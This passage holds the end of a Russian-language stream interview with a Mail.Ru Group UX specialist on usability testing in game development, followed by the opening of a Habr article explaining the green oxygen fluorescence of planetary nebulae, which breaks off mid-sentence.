сказочно протестировать. А, как правило, все упирается в сроки, в какие-то бизнес-задачи, в планирование. Тем самым, мы вынуждены себя ограничивать. Естественно, все протестировать вообще невозможно. Если говорить о тестировании в UX-лаборатории, то оно ограничено каким-то небольшим объемом. Например, мы берем какой-то кусок из игры, его тестируем и получаем ответы на какие-то заранее конкретно поставленные вопросы. Это не просто: «Давайте протестируем игру». А это реально фронт, который мы хотим изучить. Какие-то конкретные гипотезы, которые мы хотим подтвердить или опровергнуть. И уже на основе этого сделать какие-то дальнейшие выводы, как-то переделать вот этот кусок игры, который нас больше всего смущал. Нужно будет круглосуточно сидеть в лаборатории, выгнать всех, встать и сказать: «Не пущу!». И не вылезать оттуда для того, чтобы все время в режиме нон-стоп тестировать все, что можно. Но это дорого и сердито. А.К.: Ты несколько раз упомянула «UX-лаборатория». Большинство людей, когда говорят слово «лаборатория», представляют себе что-то с колбами, пробирками, измерительными приборами, осциллографом в углу. А что такое UX-лаборатория в современном понимании этого слова? Какие там применяются технологии? О.Ш.: Очень много ходило разговоров про нашу лабораторию, и не только про нашу. А.К.: Не просто ходило, об этом даже федеральная пресса писала. О.Ш.: Да-да-да. Можно загуглить много чего про это. Это такая комната. А.К.: Секретная. О.Ш.: Секретная, да. А.К.: Полусекретная, ладно, хорошо. О.Ш.: Да. Куда можно привести наших подопытных тестируемых, и проверить на них наши гипотезы. Тестирование бывает разное. Но это отдельная тема для обсуждения. Думаю, для этого нам понадобится еще несколько часов. А.К.: Отлично, у нас есть время. Это жанр такой, называется «стрим». По 8, по 10 часов. О.Ш.: Человеку дают поиграть в продукт. Это может быть мобильная версия продукта, браузерная версия продукта или клиентская игра. Зависит от того, что мы тестируем. Затем наблюдаем за поведением этого человека. Мы можем исследовать его психофизиологические показатели, общаться с ним или просто следить, куда он кликает, куда он смотрит, и так далее. Как вообще понимать, по какому сценарию и как он движется, насколько он понимает задачу, какая стоит перед ним? Тут огромное множество вариаций поведения в лаборатории. Как правило, лаборатория доступна только узкому кругу жирующих разработчиков. И меня постоянно спрашивают: «Что же делать, когда лаборатория недоступна?». И большинство исследований по проекту происходит вне лаборатории, маленьких локальных исследований. Это дорогой и длительный процесс, он предполагает какое-то время для исследования. И оно тормозит, в общем-то, последующую разработку. Или мы понимаем, что у нас есть ровно два дня на решение какой-то срочной задачи, а у нас проблема, что пользователь не понимает происходящего. Не все можно протестировать заранее. Я говорила, что мы чаще всего тестируем на этапе прототипа. Проходим по сценарию, пытаемся понять, как испытуемый себя ведет. Но в живой игре на реальном контенте, на посчитанном балансе, на реальных пользователях все это происходит несколько иначе, чем было задумано. А.К.: Вдруг не работает. О.Ш.: Да, чем оно было задумано. Когда определенная доля усилий изначально вложена в исследования, то так минимизируются риски, что в бою это не полетит. Точнее оно полетит, но где-то могут быть какие-то шероховатости, которые потом хочется дотюнить, как-то дополишить. И в этом случае мы используем все доступные нам методы, привлекаем друзей, коллег, знакомых, соседей, бабушек на улице ловим. В зависимости от задачи. Иногда я просто устраиваю засаду у кофе-поинта. Ловлю всех проходящих коллег, показываю им телефончик, и говорю: «Так, что здесь нарисовано, что это значит?» А.К.: И нажать, куда хочется, да? О.Ш.: Да. Если я понимаю, что человек отвечает корректно… Мы как-то спорили с одной из команд. Там были иконки, которые находились в списке ежедневных квестов. И мы пытались понять, похожи ли они на иконку квеста или это воспринимается как награда квеста. Можно долго спорить или просто половить людей у кофе-поинта, показать им. Причем тут надо очень четко формулировать для себя задачу… А.К.: Все зависит от уровня этой задачи. О.Ш.: Да. Нужно очень четко формулировать задачу. Ставить ее очень четко перед пользователем и ловить правильных пользователей в этом исследовании. Если спрашивать хорошо прошаренных коллег, то они сразу включают какие-то свои аналитические способности. Так не пойдет. А.К.: Лучше это делать за переделами офиса Mail.Ru Group, все-таки? О.Ш.: Да. Им хочется раскурочить игрушку. Когда ты им показываешь окно, ты ожидаешь от них, что они тебе скажут: «Ну, наверное, это награда за квест». А вместо этого они говорят: «Ну, это могла быть награда за квест, но здесь рамка не того цвета, и вообще, здесь немножко все сдвинуто на 3 пикселя, поэтому, наверное, это с этим не связано». В общем, начинается какой-то мыслительный процесс, включается разработчик. А.К.: И вообще я видел это в World of Warcraft в 2004. О.Ш.: Да. А ты совершенно не этого от него ожидаешь. Поэтому нужно очень правильно выбирать аудиторию для таких вопросов. А когда речь идет о каких-то фундаментальных задачах. Например, какие-то совсем базовые: костяк, что-то нужно протестить — допустим, бой, core gameplay. Мы хотим понимать, что бой — это самая важная, ключевая фича в нашей игре. Она должна цеплять, постоянно возвращать людей в игру. Этот бой должен по всем своим параметрам цеплять. Понятно, что все это берется не с потолка. Субъективный опыт разработчика здесь не канает абсолютно никак. И тогда нужна лаборатория, нужно четкое понимание аудитории, привлечение правильных людей с правильными девайсами, правильные вопросы и правильный подход к исследованию. Обычно оно комплексное и вырабатывается заранее. Что и как мы будем проверять, исходя из задачи, которая перед нами стоит. А.К.: Если проводить аналогию, то у вас работа похожа на работу следователя-криминалиста. С одной стороны, вы работаете в поле, если задачи не очень сложные. А с другой стороны, вы применяете технологии, все эти гаджеты, которые навешиваются на человека и что-то определяют. Кстати, существуют такие штуки, мои самые любимые, когда я какие-нибудь UX-исследования смотрю, то они называются «тепловые карты». О.Ш.: Я тоже их обожаю. А.К.: Я тоже обожаю. Особенно на своих каких-нибудь проектах. Например, на сайте или еще на чем-нибудь. Смотришь такой: «Господи, а почему они сюда пялятся? Здесь же зеленая кнопка нарисована». Думаешь после этого. То есть UX, в принципе, показывает психологию поведения. То, как человек ведет себя на вашем сайте, в вашей игре, в вашем проекте и так далее. О.Ш.: Совершенно верно. А ты, в общем, про технологию же спрашиваешь меня, правильно? А.К.: Конечно. А что за технологии? Ты говоришь сейчас очень правильные вещи: что должен делать пользователь, и что мы решаем бизнес-задачи. Но как мы их решаем? Мы протоны в космос запускаем? Мы же все-таки шлем вешаем на голову. О.Ш.: Вешаем шлем и запускаем протоны в космос. А.К.: И его в этот момент на протоне запускаем в космос. О.Ш.: Да. А.К.: Очень похоже, кстати, на методику разработки видеоигр. О.Ш.: Мы можем много чего проверить: проследить за эмоциями пользователя, изменениями его мимики в процессе. Увидеть, куда он смотрит, проанализировать, куда он пытается нажимать. Отследить его поведение в рамках каких-то сценариев, то есть он постоянно возвращается к одной и той же задаче. Ты видел, как тестируют всяких роботов. Когда он старается, а на ступенечку ступить не может. А.К.: Его шваброй еще сзади подталкивают. О.Ш.: Да. А иногда пользователь ведет себя примерно так же. Перед ним лежит решение, а он начинает тупить. А.К.: У меня есть поговорка в связи с тем, что я очень давно и долго играю в видеоигры. Если я на каком-то месте затупил больше, чем на 15 минут, то не я дурак, а где-то гейм-дизайнер ошибся. О.Ш.: Да. Тут дело даже не в 15 минутах. Если ты вообще затупил, то очень высок шанс, что в этом месте затупит другой человек. Поэтому я стараюсь обращать внимание на такие моменты. Если ко мне даже коллеги подойдут с вопросом: «Слушай, этот значок здесь появился. Что он значит?», то для меня это уже будет звоночком. Если он не понял, то надо обратить на это внимание. И тут мы возвращаемся к итерационной разработке. Когда мы все это запускаем в игру, то начинаем тестировать наши какие-то готовые вещи, фичи. Понимаем, что они немножко не так работают, как хотелось бы. Возвращаемся к ним. Потом вводятся еще какие-то новые штуки в игру, которые ломают предыдущие. Или которые должны как-то правильно взаимодействовать с уже готовыми решениями. Мы опять возвращаемся, что-то делаем и тестируем. Почему это бесконечный процесс? Потому что игра меняется. Игра изменчива, пользователь меняется, рынок меняется, наши задачи меняются. И на все приходится динамично реагировать. Вообще, разработку нужно… А.К.: Подстраивать под ситуацию. О.Ш.: Конечно. Разработка ведь вещь эластичная. А.К.: Она бесконечная, если речь касается онлайн-проектов. Вопрос есть в разных итерациях, но его постоянно повторяют. Есть ли примеры того, как UX решил какую-то проблему, над которой бились все? А методами UX ее можно было решить? О.Ш.: Да, есть много таких задач. Я люблю рассказывать историю с нашим тутором, когда убрали у нас в туторе затемнение. А.К.: Обучение. О.Ш.: Да, есть в игре обучение. В рамках этого обучения происходило затемнение экрана. Все лишнее убиралось для того, чтобы человек видел только конкретную область, в которой ему нужно работать. Так мы пытались облегчить ему задачу и прямо выделили: «Сюда нажимай, сюда смотри, тут читай. Все остальное темно, не видно и неважно». В какой-то момент какой-то человек сказал: «Нет, затемнение — это некрасиво». Я до сих пор не знаю, кто это был. Ему повезло, потому что затемнение из игры убрали. Это привело к тому, что пользователь не знал, куда ему нажимать… А.К.: И оставили мелкую зеленую стрелочку. О.Ш.: Нет. Оставили достаточно большие анимированные круги, но они работали на городе, в котором все объекты были большими и анимированными. Элемент, который должен быть заметен, потерялся в окружении. Пользователь не понимал, куда нажимать. Нажимал в другие места, ничего не происходило, и у нас упали конверсии на 50%. Эта история не о том, как сделать лучше. А о том, как сделать хуже. Мы проверяли, как удержать пользователя в игре. Однажды мы ввели сюжетную линию в игру, и поняли, что это увеличило наши показатели. Это просто win, хотя во время тестирования люди… Это, кстати, отдельная интересная ситуация. Во время тестирования, а мы тестировали тутор в лаборатории, люди восприняли его фундаментальную задачу и шли в бой. Что делали люди? Люди прокликивали сюжетку, не читали подсказки тутора, но при этом все как один приговаривали: «Очень плохо, что в игре нет сюжета». Мы увеличили сюжетную линию, поработали над ее подачей. Мы прямо отдельно проработали этот фронт, еще раз протестировали, проверили. Люди сказали, также прокликивая: «Как хорошо, что здесь есть сюжет». Никто реально не читает, но все говорят: «Как хорошо, что есть сюжет». Конверсии очень сильно увеличились. Я не берусь говорить про конкретные цифры, потому что не уверена, что могу. Не будем вдаваться в подробности. А.К.: На много процентов вверх. О.Ш.: Да. Например, мы вводили кастомное окно подключения пуш-уведомлений. Увеличили количество подключений с 25% до 70%, если не ошибаюсь. Например, тестировали окно оценки приложения. Увеличили оценку за неделю… Тут надо еще сказать, почему изначально была низкая оценка. А все потому что получился немножко проблемный билд. А оценку очень хотелось быстро поднять. Но мы правильно среагировали, ввели правильное окно оценки приложения и подняли за неделю оценку с 3 до 5. Это отлично себя показывает. Очень многие решения можно измерить и посчитать на сегодняшний день. Мы не всегда задаемся такой целью. Тут важно, что люди не отваливаются. Мы не можем в рамках каждой задачи просчитывать: «А давайте посчитаем. Вот мы сейчас сделали кнопку не красную, а синюю. Насколько это повлияло на наш доход?». Естественно, UX не эти задачи решает. Нам важно, чтобы пользователь чувствовал себя комфортно в игре, чтобы наши задачи решались. Это первостепенное. А.К.: Ты очень правильно сказала, что баланс между решением бизнес-задачи и комфортом пользователей. О.Ш.: Да. Поэтому его нельзя посчитать во всем в чистом виде. Есть какие-то вещи, которые я озвучила, которые четко понятны. Мы вот сделали, вот переделали, вот поменялась статистика. А.К.: Я просто помню, как в эпоху первого коммерческого интернета делались изменения сайтов. Про это даже несколько книжек написано. Когда разрабатывается какой-нибудь проект, появляется большой начальник и говорит: «А почему эта кнопка зеленая? Давайте ее красной сделаем. Представляете, сколько пойдет сразу регистраций с красной кнопкой?». А потом это немножко эволюционировало в то, что «Давайте мы сделаем красную, но выкатим ее на 5% аудитории». Условно говоря, если вы по-прежнему перекрашиваете кнопки в красный цвет в ваших играх. И если вы думаете, что то, что приятно и удобно гейм-дизайнеру или вашему старшему программисту, то это будет удобно хотя бы для 5% ваших пользователей, то знайте: это не так. Существуют более интересные и современные методы исследований. Но, как я понимаю, не все к ним допущены. В том числе в рамках нашей компании. О.Ш.: Да нет. Почему же? Никто не ограничивает. В рамках нашей компании работает наша лаборатория. Есть независимые лаборатории, достаточно много, к которым можно обращаться. Но понятное дело, что не всем разработчикам ресурсы позволяют это делать. Но есть множество других способов для проверки. Как я уже говорила, это и интервью, и опросы, и A/B-тестирование, привязка статистики. И эти ресурсы бесплатны. А.К.: Условно говоря, фокус-группы на 10 человек никто не отменял? О.Ш.: Да, разумеется. А.К.: Если уж они показать не смогут, то хотя бы расскажут что-нибудь. Тут уже разворачивается целая дискуссия насчет такого инструмента, который называется VIM. Это тот самый случай, где UX сильно опережает UI. Можешь тут что-нибудь сказать? Спрашивают твоего совета. О.Ш.: Мне хотелось бы прояснить у автора этого вопроса, что он хочет от меня услышать? Что значит UX опережает UI? А.К.: Это шутка. А автор спрашивал, что ты вообще думаешь про этот инструмент? Если ты не думаешь — это тоже ответ. О.Ш.: Честно говоря, я не пользуюсь этим. Никак не сталкивалась с ним. Но мне очень интересно будет на него посмотреть. А.К.: Еще вопрос: «Просим рассказать про VIM и про игры для программистов». Почему я люблю наш чат, так это потому, что тут разворачивается параллельный какой-то мир, параллельная дискуссия. С одной стороны, мне крайне интересно тебя слушать… О.Ш.: Ты знаешь, мне самой будет интересно посмотреть, потому что… А.К.: Конечно. Потом посмотреть, почитать. Напоминаю, у нас в гостях сегодня Ольга Шуберт, специалист UX-проектирования и разработки в игровом департаменте компании Mail.Ru Group. Задавайте нам вопросы про UX. Только не спрашивайте, чем UX отличается от UI. UX — это то, что пользователь получает, общаясь с интерфейсом. А UI — сам интерфейс. Чем дальше, тем сложнее разработка игр. Тремя терминами в наше время уже не отделаешься. С технологиями мы все поняли. В принципе, что мы от людей хотим, тоже поняли. О том, что даже паттерны существуют, мы тоже поняли. Есть какие-то сложности, связанные с какими-то жанрами игр? Я где-то недавно слышал, что комплексное ММО и даже маленькая мобилка на 5 кнопок — это одинаково сложные вещи в плане интерфейса. Только в одном его много, и поэтому сложно уместить на одном экране. А во втором его чрезвычайно мало, и поэтому сложно сделать так, чтобы его просто не пропускали. Как-то так. Тут есть большая разница? О.Ш.: Каждый продукт по-своему сложен. Есть жанры более простые в плане разработки интерфейса. Но это не значит, что они реально такие простые, какими кажутся. Если говорить об играх, в которых основную роль играет бой… Я вообще много работаю со студентами, которые делают небольшие проектные команды. Они все время говорят: «Да ладно, там, в общем-то, только бой и стартовое окно, и все». И тут начинаем разбираться, что там еще это, это, это и это. То, что они видят — это верхушка айсберга. Все это лежит на поверхности. А если копнуть, то там ого-го. И мы обязательно должны учитывать, что UX — это не только работа с кнопками, которые можно пощупать. UX — это не только интерфейс, но и работа с эмоциями, с ожиданиями пользователя. А она более ресурсоемкая лежит на более глубинных уровнях. А.К.: Начинают подключаться какие-то вопросы психологии. О.Ш.: Да. А.К.: Вы как-то, наверное, сепарируете пользователей. Этот взгрустнул здесь, а этот почему-то хохотать стал. О.Ш.: Препарируем. А.К.: В какой-то мере препарируете. Если вы им навешиваете все это дело и еще и за эмоциями наблюдаете. Уверен, что это происходит на три камеры. О.Ш.: Да. Дело в том, что когда в игре несколько окон и бой. То кажется, что это все просто сделать. У вас есть шанс зацепить пользователя только несколькими окнами и боем. Надо понимать, что если ваш продукт небольшой, то он не должен быть от этого менее значимым. Он все равно должен чем-то цеплять. И здесь уже требуется… Это не значит, что в большом продукте нужна глубокая разработка, глубинный подход, изучение эмоций, ожиданий и так далее. Это обязательно и там, и там. И это самое сложное, что есть в играх, независимо от жанра. Что касается интерфейсов как таковых, то когда игра сложная, многозадачная. Когда в ней есть какие-то сложные механизмы. Когда в ней есть целая куча информации, с которой нужно работать — разумеется, это большая головная боль и для разработчика, и для игрока. Но игрок, он любитель конкретного жанра, он привыкает, он готов с этим работать. А.К.: Простит 700 окон. О.Ш.: Да. Он же знает этот жанр и любит его за что-то. У него уже сложились паттерны какие-то. А что касается разработчика, то его задача — оптимизировать те продукты, которые он видел, знает, пробовал и щупал. Оптимизировать свои собственные процессы в рамках собственного продукта. А это значит, что даже когда нам есть у кого позаимствовать и посмотреть, то мы все равно хотим этот процесс облегчить. Мы все равно хотим задачу упростить. Сделать интерфейс более понятным, хорошо масштабируемым, запоминаемым и так далее. И это просто бо́льший объем и более зубодробительная задача. Но происходит, когда мы говорим об интерфейсах. А в плане эмоций я не скажу, что одна игра легче другой. Вовсе нет. Есть огромное множество игр Match 3, но какие-то из них выстрелили, а какие-то нет. Если задуматься почему, то это тоже немножко отвечает на мой вопрос. А.К.: Там открываются целые дебри. Легко сравнить две ММО, там много фич, а тут уже начинается. Посыпались вопросы. Ты сегодня так зажигательно рассказывала. У нас какой из критериев? Если люди наконец-то начинают спрашивать: «А куда надо идти учиться, какими скиллами надо обладать, чтобы наконец-то этим делом заниматься?», то это значит, что удалось. Такие вопросы уже есть. Наш зритель Кирилл Борисов подумал, что ты умеешь рисовать. Я не знаю, может быть, ты умеешь рисовать. И спрашивает: «Где вы учились рисовать? Правильно я понимаю, что нужен такой скилл среднего уровня по сравнению с дизайнером?». Должен ли человек уметь рисовать, чтобы заниматься интерфейсами. Это так или нет? О.Ш.: На самом деле, нет. А.К.: Мы видели технических директоров, которые не умеют программировать. Кого только ни повидали на этих стримах. О.Ш.: На самом деле, я UX-специалист, который вырос из гейм-дизайнера. Я рисовать не умею, это не является моей профессией. Мне приходится разбираться в тонкостях, в процессе работы. Когда я только начинала всем этим заниматься, то меня пугали страшные слова: какие-то шейдеры. А.К.: Терафлопсы. О.Ш.: Да. Я на это смотрела и думала: «Боже мой, что это все значит?». Но приходится понимать, потому что я веду задачу от начала до конца. Я работаю с дизайнером, версткой, потом с анимацией, потом со звуком. Все эти вещи лежат в зоне моей ответственности, потому что все они в итоге выливаются в конечный продукт, с которым пользователь работает. Я отвечаю за то, каким будет этот продукт, какой он, насколько он будет качественным, насколько крутым и понятным. Это предполагает, что мне нужно разобраться во всех процессах, которые я встречаю по дороге. От и до. Но это не значит, что я должна быть одновременно и художником, и дизайнером, и аниматором, и звуковиком, и всем на свете. Нет. А.К.: Ты должна понимать, как каждый из них работает. О.Ш.: Да, я должна понимать, как все это работает. И мне иногда приходится на палочках… А.К.: Бином Ньютона вычислять. О.Ш.: Да. У меня в голове есть видение, какой должна быть задача. На этапе, когда ее проектировала, когда я неделю втыкала в документ, я в этот момент… А.К.: Я в этот момент представляю «Игры разума». Ты сидишь, а вокруг тебя мелькают только эти бумажки, приклеенные по разным углам. О.Ш.: Да, все примерно так и происходит. Я в этот момент как бешеная собака. Ко мне нельзя подходить, потому что я скажу: «Уйдите, все, не мешайте». У меня в этот момент формируется конечное видение продукта, точнее конкретная задача, которая сейчас передо мной лежит. Я уже вижу, как там загорается кнопка, там начинает сиять, и здесь, дзинь, звук, и у меня все это сейчас в голове так варится-варится. Я представляю себе весь сценарий, и в голове жму на эти невидимые кнопки. Пытаюсь понять, удобно это или нет. Это немножко безумный процесс. Но в результате всего этого я понимаю, как все это должно работать. И могу на каждом этапе объяснить и сказать: «Здесь должен быть больше шрифт, здесь выше контраст, а здесь давай уберем это, а сделаем это». Причем я понимаю, что у нас в игре есть ограниченное количество цветов. Понимаю, что мы технически не можем сделать обводку, поэтому нужно использовать какие-то другие решения. Это все нужно держать в голове, это все должно быть в процессе. Поэтому я иногда грешу и пытаюсь работать руками специалистов. Говорю им, что делать, если прямо уверена, что только так мы достигнем результата. Прямо знаю, что здесь надо сделать большое такое-то окно с зеленой кнопкой. Потом прихожу к артовику и начинаю на бумажке рисовать какие-то кривые штуки. Они уже начали собирать коллекцию моих жутких наскальных рисунков. Я их все время студентам показываю. Я пользуюсь планшетом, я рисую что-то. Но то, что я рисую, лучше никому не видеть. А.К.: Все мы рисуем какие-то схемы. О.Ш.: Да. Все мы рисуем какие-то схемы. Но я еще пытаюсь объяснить, как это должно выглядеть с артовой точки зрения. Пытаюсь какой-то арт рисовать, но, как ты понимаешь… А.К.: Дракон должен быть вот такой. О.Ш.: Да. Можно собрать отдельный арт-бук. А.К.: Это как пересказ фильмов своими словами. Тоже клевый жанр. О.Ш.: Да, все примерно так. «Здесь вот так, здесь вот так». Что-то передрала, что-то нарисовала, какие-то жуткие штуки. Все это смешно, но это нужно делать, потому что очень хорошо передает мою мысль дальше. Чем меньше будет испорченного телефона, тем лучше. Чем детальнее я визуализирую свою идею, тем качественнее она дальше зайдет до следующих разработчиков. И ты знаешь, что у нее есть шанс на выходе дойти до пользователя в том виде, в котором я это все придумала. А чего здесь такого? Ну, нарисую я кривую козу пятиногую. А потом я прихожу к аниматору, и тут начинается еще веселее. Потому что я начинаю махать руками и говорить: «Тыщь-тыщь, пыдыщ! Здесь вот так вот». Скачу вокруг него как безумная и объясняю, что сейчас вот здесь вот так, а здесь вот так. И потом накладываю какие-то бумажки и говорю: «Ну, все же понятно теперь?». А человек такой: «Ага, да. Ну, да…» А.К.: В какой-то мере ты художник-постановщик. Не режиссер, как в кино. О.Ш.: Да. А.К.: В общем художник и постановщик. А там пусть уж люди на местах сделают. Монтажка и оператор разберутся лучше, на то они и профессионалы. У нас есть много детальных вопросов. Например: «Ольга, скажите принцип основ создания UI в ММО. Что должно быть в быстром доступе, что должно лежать далеко в дебрях меню?». Давай я немножко расширю вопрос. А на те классические жанры, которыми ты занимаешься буквально каждый день, есть на каждый какой-нибудь золотой закон? Бесплатные советы юному разработчику для UI. О.Ш.: На самом деле, нет никакого универсального золотого закона, который можно взять, и в чистом виде внедрить в продукт. Я поэтому никогда не советую никакой литературы. Это точно будет следующий вопрос. А.К.: Я даже боялся предположить, что про UX есть вообще литература. Что про UI есть, я еще догадываюсь. Я даже сам пару книжек видел в интервью. Нет такой литературы, учитесь сами, приходите в компанию Mail.Ru Group работать. О.Ш.: Это неправда, что нет литературы про UX. Есть вагон и маленькая тележка. Но эта литература не про игры. Та-дам! А.К.: А про сайты вам интересно? Про сайты приходите ко мне, я расскажу. О.Ш.: Про игры литература тоже есть, но она очень быстро устаревает. Рынок очень динамичен, индустрия растет и развивается супербыстро. Пользователь тоже меняет свое поведение супербыстро. Даже если смотреть книги прошлогодние или позапрошлогодие, то они уже так себе. А.К.: Литература. Даже скорее не книги, я подразумеваю, потому что мы же понимаем, что литература… О.Ш.: Нет, прямо книги, прямо печатные издания. А.К.: Все это в интернете может быть. О.Ш.: Но они в какой-то момент начинают работать во вред, потому что это как книги про менеджмент. Когда в чистом виде прочитал и пошел руководить. А.К.: Они смотрят: «Дурак, это же для американской компании было написано. А у нас через водку этот вопрос решается», условно говоря. О.Ш.: Да, все так. Здесь то же самое. Ты прочитаешь книжку, и сделаешь, как там. А каждый продукт абсолютно уникален. Там не может быть единственно верных решений. Совершенно не так. Прямо в Match 3 все должно вот так выглядеть, никак иначе. А окно регистрации для игр только такое, другое не проканает. Да ничего подобного, абсолютно все не так, потому что юзер разный. Так сложилось, что вот этот сеттинг, вот этот жанр, вот эта аудитория, вот этот момент времени, какой-то тип подачи, все оно вместе сложилось. Это может сработать, а может и не сработать. Каждый случай абсолютно уникален. Именно поэтому каждый случай мы тестируем. Если бы были какие-то решения, которые мы взяли и знали, что они будут себя хорошо вести… Да если есть какие-то простые вещи — мы знаем, что принято. Мы понимаем, что пользовательский опыт на чем-то основывается, он же не из воздуха берется. И мы знаем, что какие-то вещи, будут работать нормально, потому что опробованы уже в других играх или на других платформах. Но и они периодически выдают какие-то неожиданности. То есть какие-то вещи, которые… А потому что мы знаем, что списки должны быть такими. И мы взяли список, выдрали из одного какого-то места и поставили в другое место. А то, что там неудобно кликать, там плохо читаются надписи. То, что в этом списке не та информация, которая нужна пользователю, и что этот список тут вообще не нужен — это уже другой вопрос. Хотя, казалось бы, списки же есть, они же работают у других. Но тут же есть список. Почему у нас нет? А.К.: Он же список и в Африке список. О.Ш.: Да. А.К.: Получается, что такое UX? Это научный подход. Мы изучаем все данные, потом их анализируем, собираем, вспоминаем предыдущий опыт, паттерны те же самые. Хоть ты и говоришь, что все уникально, но я думаю, что есть какие-то шаблонные правила. А есть ли вообще в этой аналитической, не побоюсь этого слова, момент «божественного откровения»? Ты смотришь на этот интерфейс и такая: «Здесь зеленая кнопка!», и она сразу ЦА в два раза повышает. Бывали такие случаи? О.Ш.: Не совсем так. Что здесь, раз, и зеленая кнопка — нет. Но бывает так, когда я бьюсь над какой-то задачей, прямо серьезно зарубаюсь. Сижу, решения нет или мы переделываем 10 раз, и что-то не то. И тут мы понимаем, что этот вариант уязвим, этот уязвим, этот уязвим. Прямо все не очень. Откладываем это дело, приходим через три дня, и тут наступает божественное откровение. В общем, я тот самый человек, который может в какой-то момент в ресторане начать рисовать на салфетке. Это действительно то, что меня никогда не покидает. Я в какой-то момент что-то где-то увидела, и это может быть не игра, и не мобильный интерфейс. Я где-то увидела кнопку на телевизоре. Я на нее смотрю, и понимаю: «Сейчас лампочка-то загорелась!», все бросаю, и на салфетке рисую. А.К.: Класс! Потрясное ощущение. О.Ш.: Да. Особенно когда все это тестируется, себя оправдывает и действительно начинает работать — это просто супер. А.К.: Давайте все надеяться, что, Оля через несколько лет как-нибудь во сне, как Менделеев, увидит, например, VR-интерфейс будущего. Проснется и скажет: «Все, теперь я знаю, как там сделать идеально». О.Ш.: И мы очень часто беседуем на эту тему с коллегами про интерфейсы будущего, про VR. Я очень люблю игры… я всегда любила игры-квесты, где очень часто сама игра — это интерфейс. А.К.: Пиксель-хантинг. О.Ш.: Да. Это очень круто. И эта любовь не просто так началась в давние времена. Мне очень нравилось все это анализировать, разбирать по костям, раскурочивать мишку. И я понимаю, что не за интерфейсами как таковыми, но за UX лежит будущее. Я понимаю, что сейчас продукт не может без этого существовать. Если ты это все не изучаешь, не используешь и не применяешь, то твой продукт ничего не будет стоить на выходе. Он может быть каким-то инновационным, вы можете сделать что-то гениальное, чего никто до вас никогда не делал. Забить на UX-подход, и это выстрелит. Но тут же найдутся конкуренты. А.К.: В 1990-е это бы сработало, но сейчас. Каждый день выходят сотни игр. О.Ш.: Да. Тут же появятся конкуренты, которые эту идею заберут себе. И с применением UX-подхода сделают ее лучше. А.К.: Как приятно, дорогие зрители, видеть хороших людей на правильных местах. Закругляя нашу серию «Техностримов», добавлю немножко философии. 90% людей — это факт, что у нас в стране, что в других — находятся не на своем месте. Люди сидят на работе и страдают. Им скучно. А я очень редко видел людей, бухгалтеров, которые сидят и тащатся от цифр. Есть такие. Видел гениальных врачей, которые не просто принимают, а которые рады работать с этой опухолью. Извини, что взял контекст с опухолью. Но Ольга, мне кажется, одна из немногих людей в стране, которая была создана для интерфейсов. Я тебе дико завидую, потому что у тебя столько энтузиазма в такой крайне редкой, очень специфической профессии. Мы разговаривали с тобой про нее час, я понял только верхи, потому что у нас не длинная лекция. Но мы в таких форматах еще поработаем. Но теперь, я думаю, что вы понимаете, что UX — это круто. У нас была сегодня в гостях Ольга Шуберт, специалист UX-разработки в игровом направлении компании Mail.Ru Group. Как мы поняли, она просто уникальный специалист в стране. Я вообще никогда не видел человека, который бы с таким энтузиазмом рассказывал про интерфейс. Надо с тобой придумать еще какой-то формат. Например, взять взять 10 игр и разобрать, что здесь не так. О.Ш.: Надо встречаться, да. Мне есть много чего рассказать. А.К.: Пишите нам в «Спортлото» и заодно во все остальные инстанции. Если вы действительно хотите, чтобы мы устроили какую-нибудь серию подобных «Техностримов», посвященных видеоиграм, то расширяйте список наших тематик. Потому что UX — это же потрясающе. Изначально мы даже не думали, что это стоит включить. Но в итоге получилась одна из лучших наших передач. С вами сегодня был я, Александр Кузьменко. В гостях у меня, опять же, напоминаю, была замечательная Ольга Шуберт. До новых встреч. Спасибо, что были с нами. Пока!
https://habrahabr.ru/company/mailru/blog/318638/
habrahabr
Почему останки звёзд бывают зелёными
['зелёный свет', 'флюоресценция']
Одно прикосновение природы содеет родственным весь мир — Уильям Шекспир В январе 2006 года космический телескоп им. Хаббла, оснащённый величайшей из всех когда-либо созданных камер-телескопов,...
Одно прикосновение природы содеет родственным весь мир — Уильям Шекспир В январе 2006 года космический телескоп им. Хаббла, оснащённый величайшей из всех когда-либо созданных камер-телескопов , получил это подробное изображение шарового скопления NGC 1846 . Щёлкательно Как и большинство шаровых скоплений, оно представляет собой плотную группу из нескольких сотен тысяч звёзд, находящуюся в примерно сферическом регионе размером всего в несколько световых лет. Но в отличие от большинства известных нам скоплений, это расположено не в нашей галактике, а в 160 000 световых лет от нас, на задворках Большого Магелланового облака . И, как и все знакомые нам скопления, оно содержит звёзды большого ассортимента допустимых цветов: от горячих голубых звёзд, до более холодных жёлтых, оранжевых, и самых холодных, красных. Но если вы присмотритесь, то увидите нечто, что должно вас сильно удивить: зелёный объект. И это должно вас насторожить, поскольку зелёных звёзд не существует ! И хотя астрономическим объектам часто придают ложные цвета, чтобы увеличить контраст и их видимость, это не тот случай – объект действительно зелёный. Что же происходит? Хотите – верьте, хотите – нет, если мы хотим разобраться в этом, нам нужно сначала совершить облёт Земли. На видео вы заметите города, облака, океаны, материки – и иногда красивейшее северное сияние. Но обратите внимание на атмосферу на горизонте в те моменты, когда там нет сияния. Вы увидите зеленоватую дымку (с небольшой примесью красного), известную, как собственное свечение атмосферы . Что служит её причиной? Оказывается, остывание атомов кислорода на ночной стороне планеты. С МКС так выглядела атмосфера во время возвращения последнего шаттла Атлантис на Землю. Как это удаётся остывающему кислороду? Как и у всех атомов и молекул, у кислорода есть большой набор энергетических уровней, на которых могут жить электроны. Когда ультрафиолет от солнца сталкивается с атомами кислорода, некоторые фотоны оказываются как раз нужной длины волны, чтобы возбудить электроны и поднять их на высшие уровни, а иногда даже частично ионизировать атомы. Но когда источник ультрафиолета ночью исчезает, затмеваемый Землёй, возбуждённые электроны спускаются вниз через разрешённые энергетические уровни, и испускают большой набор фотонов с определёнными длинами волн. Об этом физическом процессе вы наверняка слышали, даже если и не узнали его по описанию: флюоресценция . Для каждого атома или молекулы кислорода во Вселенной эти длины волн одинаковы, ибо все они определены законами квантовой физики. И как же выглядит спектр излучения кислорода? У атомарного кислорода, поглощающего ультрафиолет, самое сильное излучение происходит на длине волны в 558 нм – высокая зелёная линия на графике. И, конечно, не случайно именно такую длину волны имеют зелёные «гало», возникающие вокруг умирающих или недавно умерших звёзд, иногда встречающихся нам в планетарных туманностях. Посмотрите на NGC 7009 . Встречаются и разные другие цвета, поскольку кислород – не единственный присутствующий в планетарных туманностях элемент. Но когда его много, его зелёное свечение невозможно спутать ни с чем, как это видно и по изображению NGC 6826 . Конечно, не у всех планетарных туманностей есть такие 